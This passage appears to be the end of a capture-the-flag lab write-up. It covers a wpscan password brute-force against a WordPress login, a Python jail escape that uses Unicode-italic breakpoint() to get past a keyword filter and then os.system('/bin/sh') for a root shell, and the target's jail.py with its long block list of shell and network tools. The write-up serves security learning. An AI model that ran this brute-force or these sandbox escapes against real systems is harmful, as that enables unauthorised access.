wpscan --url http://10.10.158.39/wordpress -e u --passwords /usr/share/wordlists/rockyou.txt

Python JailBreak using 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()

𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()

Need to run the above command in python jail. Now calling import os;os.system("/bin/sh") will gives us a shell as root user.

The source suggested a potential solution to escape Python jails: using the breakpoint() function. This built-in Python function, introduced in Python 3.7, allows developers to pause the execution of their code and enter an interactive debugging session. In the context of Python jail escapes, where the goal is to break out of restricted Python environments, breakpoint() could be used to gain access to the sandbox’s internals, file system, or sensitive variables through interactive debugging. Read also : pyjails#no-ascii-letters , Unicode-related Security Considerations for Python and Intalic text Generator .

Extras

jail.py

# jail.py
import os

def malicious():
    print("Illegal Input")

def main():
        while(True):
                try:
                    text = input('>> ')
                except:
                    print("Exiting...")
                    return
                for keyword in ['#',' ','}','`','"','class','?','breakpoint','eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'lower','class','init','\\','+','‘','readlines','bash','sh','7z', 'aa-exec', 'ab', 'agetty', 'alpine', 'ansible-playbook', 'ansible-test', 'aoss', 'apt-get', 'apt', 'ar', 'aria2c', 'arj', 'arp', 'ascii-xfr', 'ascii85', 'ash', 'aspell', 'at', 'atobm', 'awk', 'aws', 'base32', 'base58', 'base64', 'basenc', 'basez', 'bash', 'batcat', 'bc', 'bconsole', 'bpftrace', 'bridge', 'bundle', 'bundler', 'busctl', 'busybox', 'byebug', 'bzip2', 'c89', 'c99', 'cabal', 'cancel', 'capsh', 'cat', 'cdist', 'certbot', 'check_by_ssh', 'check_cups', 'check_log', 'check_memory', 'check_raid', 'check_ssl_cert', 'check_statusfile', 'chmod', 'choom', 'chown', 'chroot', 'cmp', 'cobc', 'column', 'comm', 'composer', 'cowsay', 'cowthink', 'cp', 'cpan', 'cpio', 'cpulimit', 'crash', 'crontab', 'csh', 'csplit', 'csvtool', 'cupsfilter', 'curl', 'cut', 'dash', 'date', 'dd', 'debugfs', 'dialog', 'diff', 'dig', 'distcc', 'dmesg', 'dmidecode', 'dmsetup', 'dnf', 'docker', 'dos2unix', 'dosbox', 'dotnet', 'dpkg', 'dstat', 'dvips', 'easy_install', 'eb', 'ed', 'efax', 'elvish', 'emacs', 'env', 'eqn', 'espeak', 'exiftool', 'expand', 'expect', 'facter', 'find', 'finger', 'fish', 'flock', 'fmt', 'fping', 'ftp', 'gawk', 'gcc', 'gcloud', 'gcore', 'gdb', 'gem', 'genie', 'genisoimage', 'ghc', 'ghci', 'gimp', 'ginsh', 'git', 'grc', 'grep', 'gtester', 'gzip', 'hd', 'head', 'hexdump', 'highlight', 'hping3', 'iconv', 'iftop', 'install', 'ionice', 'ip', 'irb', 'ispell', 'jjs', 'joe', 'join', 'journalctl', 'jq', 'jrunscript', 'jtag', 'julia', 'knife', 'ksh', 'ksshell', 'ksu', 'kubectl', 'latex', 'latexmk','ld.so', 'ldconfig', 'less', 'lftp', 'ln', 'loginctl', 'logsave', 'look', 'lp', 'ltrace', 'lua', 'lualatex', 'luatex', 'lwp-', 'lwp-request', 'mail', 'make', 'man', 'mawk', 'more', 'mosquitto', 'mount', 'msfconsole', 'msgattrib', 'msgcat', 'msgconv', 'msgfilter', 'msgmerge', 'msguniq', 'mtr', 'multitime', 'mv', 'mysql', 'nano', 'nasm', 'nawk', 'nc', 'ncftp', 'neofetch', 'nft', 'nice', 'nl', 'nm', 'nmap', 'node', 'nohup', 'npm', 'nroff', 'nsenter', 'octave', 'od', 'openssl', 'openvpn', 'openvt', 'opkg', 'pandoc', 'paste', 'pax', 'pdb', 'pdflatex', 'pdftex', 'perf', 'perl', 'perlbug', 'pexec', 'pg', 'php', 'pic', 'pico', 'pidstat', 'pip', 'pkexec', 'pkg', 'posh','pry', 'psftp', 'psql', 'ptx', 'puppet', 'pwsh', 'python', 'rake', 'rc', 'readelf', 'red', 'redcarpet', 'redis', 'restic', 'rev', 'rlogin', 'rlwrap', 'rpm', 'rpmdb', 'rpmquery', 'rpmverify', 'rsync', 'rtorrent', 'ruby', 'run-mailcap', 'run-parts', 'rview', 'rvim', 'sash', 'scanmem', 'scp', 'screen', 'script', 'scrot', 'sed', 'service', 'setarch', 'setfacl', 'setlock', 'sftp', 'sg', 'shuf', 'slsh', 'smbclient', 'snap', 'socat', 'socket', 'soelim', 'softlimit', 'sort', 'split', 'sqlite3', 'sqlmap', 'ss', 'ssh-agent', 'ssh-keygen', 'ssh-keyscan', 'ssh', 'sshpass', 'start-stop-daemon', 'stdbuf', 'strace', 'strings', 'su', 'sysctl', 'systemctl', 'systemd-resolve', 'tac', 'tail', 'tar', 'task', 'taskset', 'tasksh', 'tbl', 'tclsh', 'tcpdump', 'tdbtool', 'tee', 'telnet', 'tex', 'tftp', 'tic', 'time', 'timedatectl', 'timeout', 'tmate', 'tmux', 'top', 'torify', 'torsocks', 'troff', 'tshark', 'ul', 'unexpand', 'uniq', 'unshare', 'unzip', 'update-alternatives', 'uudecode', 'uuencode', 'vagrant', 'valgrind', 'vi', 'view', 'vigr', 'vim', 'vimdiff', 'vipw', 'virsh', 'volatility', 'w3m', 'wall', 'watch', 'wc', 'wget', 'whiptail', 'whois', 'wireshark', 'wish', 'xargs', 'xdotool', 'xelatex', 'xetex', 'xmodmap', 'xmore', 'xpad', 'xxd', 'xz', 'yarn', 'yash', 'yelp', 'yum', 'zathura', 'zip', 'zsh', 'zsoelim', 'zypper','&','|','$','{','>','<']:
                    if keyword in text:
                        malicious()
                        return
                try:
                    if "__builtins__.__dict__['__IMPORT__'.casefold()]('OS'.casefold()).__dict__['SYSTEM'.casefold()]('" in text:
                        if len(text)!=119 or os.path.islink(text[95:-2]):
                            malicious()
                            return
                        else:
                            if(text[95:-2]!="/lib/yorick/bin/yorick"):
                                malicious()
                                return
                            else:
                                exec(text)
                    else:
                        exec(text)
                except SyntaxError:
                    print("Wrong Input")
                except NameError:
                    print("Wrong Input")

if __name__ == "__main__":
        print("  Welcome to Python jail  ")
        print("  Will you stay locked forever  ")
        print("  Or will you BreakMe  ")
        main()

The above code is the actual content of jail.py in the target system.

We solved the lab.

Happy Hacking !!! 😎